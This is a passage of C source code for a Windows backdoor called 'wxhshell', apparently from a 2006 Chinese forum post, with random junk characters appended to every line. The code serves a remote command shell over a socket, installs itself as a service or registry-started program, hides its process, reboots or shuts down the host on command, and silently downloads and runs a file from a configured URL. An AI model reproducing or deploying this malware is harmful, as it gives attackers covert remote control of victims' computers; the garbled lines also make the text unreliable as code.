      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~&VN_;j_  
    break; v}uJtBG(  
  } &__DJ''+  
  // 安装 /"#4T^7&  
  case 'i': { (ku5WWJ  
    if(Install()) ;vp\YIeX1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \t.}-u<7{  
    else >Da~Q WW|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XutF"9u  
    break; w|Aqqe  
    } uJow7-FD  
  // 卸载 m],Ud\  
  case 'r': { %XRN]tsu  
    if(Uninstall()) )]Ti>RO7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s#-eN)1R  
    else HW_& !ye  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R>)MiHcCg  
    break; 3 <SqoJSp  
    } y] V1b{9p  
  // 显示 wxhshell 所在路径 |. C1|J'Z  
  case 'p': { %|"Qi]c d  
    char svExeFile[MAX_PATH]; "Pc$\zJm;  
    strcpy(svExeFile,"\n\r"); ,4@|1z{bfm  
      strcat(svExeFile,ExeFile); LAs7>hM  
        send(wsh,svExeFile,strlen(svExeFile),0); E5G{B'%j  
    break; VWf %v  
    } 1'KishHK=  
  // 重启 YUkud2,j  
  case 'b': { @h9MxCE!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Of7 +/UV  
    if(Boot(REBOOT)) }NmNanW^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |X(2Zv^O  
    else { /Jlv"R 1,  
    closesocket(wsh); eti `O  
    ExitThread(0); t/p $  
    } 1~5trsB+5  
    break; G$JFuz)|  
    } 1;r69e  
  // 关机 /g.]RY+u|x  
  case 'd': { ;!u;!F!i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kn}ub+ "J  
    if(Boot(SHUTDOWN)) dbF M,"^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Ml7G  
    else { l?E|R Kp  
    closesocket(wsh); 9%DT0.D}$j  
    ExitThread(0); Np,2j KF(  
    } =,/D/v$m'2  
    break; #$1$T  
    } d>i13d AI  
  // 获取shell Z`_.x &Y  
  case 's': { h'5Cp(G  
    CmdShell(wsh); k3hkk:W  
    closesocket(wsh); Ill[]O  
    ExitThread(0); yp]@^TN  
    break; .b>TK  
  }  v[,Src  
  // 退出 8<&EvOk  
  case 'x': { 2[R$RpA_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3#GqmhqKDk  
    CloseIt(wsh); \U@3`  
    break; >- Bg%J9  
    } Z!{UWegun  
  // 离开 ClUSrSp  
  case 'q': { >mm' -P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hx!7w}[A  
    closesocket(wsh); (4+1lOd  
    WSACleanup(); a39hP*  
    exit(1); \V%_hl  
    break; 's%q  
        } N}Vn;29  
  } ?y%t}C\W  
  } 4ke^*g K<  
8A2 z 5Aa  
  // 提示信息 "> 90E^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t1i(;|8|  
} [xaisXvI4  
  } AtHS@p  
uofLhy!  
  return; f(Hu {c5yV  
} +=fKT,-*G!  
i/qTFQst _  
// shell模块句柄 tYe:z:7l?<  
int CmdShell(SOCKET sock) !]b@RUU  
{ L* |1/  
STARTUPINFO si; $@uU@fLB  
ZeroMemory(&si,sizeof(si)); (6qsKX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f&I7,"v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @.$MzPQQI  
PROCESS_INFORMATION ProcessInfo; );JJ2Jlkd  
char cmdline[]="cmd"; - q@69q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .[j%sGdKl  
  return 0; v'9m7$  
} AK/:I>M  
wK*PD&nN  
// 自身启动模式 5 2Hqu>  
int StartFromService(void) v\A.Tyy  
{ R@`rT*lJ  
typedef struct ]PS\#I}  
{  (_+;R  
  DWORD ExitStatus; &8?`<   
  DWORD PebBaseAddress; Spj9H?m  
  DWORD AffinityMask; kQIw/@WC  
  DWORD BasePriority; IN!02`H  
  ULONG UniqueProcessId; =*MR(b>  
  ULONG InheritedFromUniqueProcessId; vr IV%l=  
}   PROCESS_BASIC_INFORMATION; 2*OxA%QELM  
8z T0_vw  
PROCNTQSIP NtQueryInformationProcess; &3DK^|Lq  
x)viY5vjH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I:;+n^N?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]b1Li}  
.Q\\dESn"  
  HANDLE             hProcess; Pes =aw  
  PROCESS_BASIC_INFORMATION pbi; 'mV:@].le  
q627<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e}"wL g]  
  if(NULL == hInst ) return 0; tOg=zXm   
v\0^mp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -!dQ)UEP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,"G\f1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !Q)3-u  
p\D >z("  
  if (!NtQueryInformationProcess) return 0; rc{o?U'^-  
3M N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8hB.fau  
  if(!hProcess) return 0; n|KKby.$  
Q[_Ni15  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J/kH%_ >Ir  
dR[o|r  
  CloseHandle(hProcess); z8iENECwj  
14l; *  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yT:!%\F9  
if(hProcess==NULL) return 0; Pj!%ym3A  
RVF F6N^  
HMODULE hMod; R^tcr)(  
char procName[255]; fVUKvZ}P*  
unsigned long cbNeeded; L@A9{,9Pl  
9d\N[[Vu]R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L82NP)St  
!: |nI77|  
  CloseHandle(hProcess); 8+(c1  
2OCdG  
if(strstr(procName,"services")) return 1; // 以服务启动 RKe?.  
[%~NM/xu<  
  return 0; // 注册表启动 1t2cY;vJ  
} :,YLx9i>  
RV92qn B  
// 主模块 wE2x:Ge:  
int StartWxhshell(LPSTR lpCmdLine) #W5Yw>$  
{ -\,VGudM}  
  SOCKET wsl; D_ ug-<QT  
BOOL val=TRUE; 3"tg+DncC  
  int port=0; 3- )kwy6L  
  struct sockaddr_in door; 9::YR;NY  
VjTAN=  
  if(wscfg.ws_autoins) Install(); C yf]`*  
3@HIpQM3  
port=atoi(lpCmdLine); Pz {Ig  
7'UWRRsxUF  
if(port<=0) port=wscfg.ws_port; |"\lL9CT  
W-XN4:,qI  
  WSADATA data; 8A_TIyh?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; llqDT-cp  
Tw}z7U"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q]l\`/R%u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0 r3N^_}  
  door.sin_family = AF_INET; 8;.` {'r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P:a*t[+  
  door.sin_port = htons(port); *NjMb{[ZQ  
Dauo(Uhuo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Is kSX  
closesocket(wsl); b,vL8*  
return 1; $68 XZCx  
} vGyppm[0  
#tP )-ww  
  if(listen(wsl,2) == INVALID_SOCKET) { Iq@IUFpc7~  
closesocket(wsl); 44|03Ty  
return 1; 6\mC$:F  
} 2w7@u/OC'  
  Wxhshell(wsl); 9BurjG1k?  
  WSACleanup(); _!;\R7]  
J{x##p<F$  
return 0; cuNq9y;[  
TP^\e_k  
} lmp R>@o"  
=ZrjK=K  
// 以NT服务方式启动 N N*Sb J0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T/ Ez*iQW  
{ : n`0)g[(  
DWORD   status = 0; b@F_7P%  
  DWORD   specificError = 0xfffffff; <H_LFrB$W  
[$H( CH`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M'vXyb%$1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LA>dkPB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A1 b6Zt  
  serviceStatus.dwWin32ExitCode     = 0; ; ?j~8  
  serviceStatus.dwServiceSpecificExitCode = 0; qG*_w RF  
  serviceStatus.dwCheckPoint       = 0; `F@f?*s:  
  serviceStatus.dwWaitHint       = 0; yT2vO_rH  
YFAnlqC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0= gF6U  
  if (hServiceStatusHandle==0) return; ua!D-0  
m(h/:JZ\  
status = GetLastError(); @]<DR*<  
  if (status!=NO_ERROR) B1HQz@^  
{ ),)Q{~&`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; { <~s&EPd  
    serviceStatus.dwCheckPoint       = 0; W *|OOa'  
    serviceStatus.dwWaitHint       = 0; Je@p5(f  
    serviceStatus.dwWin32ExitCode     = status; s}<)B RZi  
    serviceStatus.dwServiceSpecificExitCode = specificError; B##C{^5A`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <"{+  
    return; F BE @pd  
  } yqC+P  
WMRYT"J?N]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ds;Rb6WcnY  
  serviceStatus.dwCheckPoint       = 0; uk`d,xF   
  serviceStatus.dwWaitHint       = 0; /XbY<pj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EgCp:L{  
} hE9'F(87a  
b^@`uDb6  
// 处理NT服务事件,比如:启动、停止 cRjL3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !~Ax  
{  |UABar b  
switch(fdwControl) av7q>NEZ!1  
{ Vl&+/-V  
case SERVICE_CONTROL_STOP: he_HVRpB  
  serviceStatus.dwWin32ExitCode = 0; d#RF0,Y9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 38OIFT  
  serviceStatus.dwCheckPoint   = 0; Z={UM/6w  
  serviceStatus.dwWaitHint     = 0; OME!W w  
  { EgkZ$ah  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G >I.  
  } s}z(|I rH  
  return; B6^w{eXN  
case SERVICE_CONTROL_PAUSE: %kaTQ"PB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aEV|>K=6Y'  
  break; n">?LN-DC  
case SERVICE_CONTROL_CONTINUE: bEEJVF0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g%Th_=qy  
  break; qT&S  
case SERVICE_CONTROL_INTERROGATE: kJVM3F%  
  break; zlC^  
}; la!1[VeL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W!V V=j<}  
} VGkW3Nt0  
Xd90n>4S  
// 标准应用程序主函数 l;"ub^AH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pIM*c6  
{ Oct\He\.  
4Xa.r6T_N=  
// 获取操作系统版本 @#G6z`,  
OsIsNt=GetOsVer(); '33Yl+h  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  oaH+c9v  
!W(/Y9g#  
  // 从命令行安装 "E4i >g  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7"h=MB_  
^F;Z%5P=  
  // 下载执行文件 \H"/2o%l")  
if(wscfg.ws_downexe) { Oi+Qy[y2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y)@oo=oG  
  WinExec(wscfg.ws_filenam,SW_HIDE); =[v2   
} B' P,?`  
b tr x?k(  
if(!OsIsNt) { 1o"y%*"  
// 如果时win9x,隐藏进程并且设置为注册表启动 LRfFn^FPM  
HideProc(); /It.>1~2@  
StartWxhshell(lpCmdLine); FE^?U%:u@  
} D0,oml  
else }bj,&c  
  if(StartFromService()) )w3XN A_V  
  // 以服务方式启动 i2\\!s  
  StartServiceCtrlDispatcher(DispatchTable); &kmd<  
else +dPE!:  
  // 普通方式启动 OsHkAI  
  StartWxhshell(lpCmdLine); PW~cqo B71  
.q~,.yI&j  
return 0; #b<lt'gC  
}
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只看该作者 1 发表于: 2006-10-10
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